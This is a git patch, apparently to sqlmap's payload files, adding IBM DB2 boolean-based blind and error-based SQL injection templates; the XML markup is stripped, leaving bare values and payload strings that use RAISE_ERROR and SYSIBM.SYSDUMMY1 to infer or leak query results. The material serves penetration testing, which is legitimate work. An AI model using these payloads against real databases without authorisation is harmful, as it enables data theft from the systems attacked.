From a9d82c4d4f356a423f8545e011c3e6bdc71ce0da Mon Sep 17 00:00:00 2001 From: Thomas ETRILLARD Date: Wed, 24 Jun 2020 13:40:06 +0200 Subject: [PATCH] Support for DB2 error based and blind --- data/xml/payloads/boolean_blind.xml | 20 ++++++++++++++++++++ data/xml/payloads/error_based.xml | 18 ++++++++++++++++++ 2 files changed, 38 insertions(+) diff --git a/data/xml/payloads/boolean_blind.xml b/data/xml/payloads/boolean_blind.xml index 576ea2a46..2da367781 100644 --- a/data/xml/payloads/boolean_blind.xml +++ b/data/xml/payloads/boolean_blind.xml @@ -1532,4 +1532,24 @@ Tag: + + + IBM DB2 boolean-based blind - ORDER BY (append) + 1 + 1 + 1 + 2,3 + 1 + ,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001,2) END FROM SYSIBM.SYSDUMMY1) + + ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001,2) END FROM SYSIBM.SYSDUMMY1) + + + ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001,2) END FROM SYSIBM.SYSDUMMY1) + +
+ IBM DB2 +
+
+ diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index d61b107cb..53dddfe31 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -1321,4 +1321,22 @@ + + IBM DB2 - Error Based + 2 + 1 + 1 + 1-8 + 1,2,3 + ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN RAISE_ERROR('70001',CONCAT('[DELIMITER_START]',CONCAT(([QUERY]),'[DELIMITER_STOP]'))) ELSE 1 END FROM SYSIBM.SYSDUMMY1) + + ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN RAISE_ERROR('70001',CONCAT('[DELIMITER_START]',CONCAT((SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE 2 END FROM SYSIBM.SYSDUMMY1),'[DELIMITER_STOP]'))) ELSE 1 END FROM SYSIBM.SYSDUMMY1) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ IBM DB2 +
+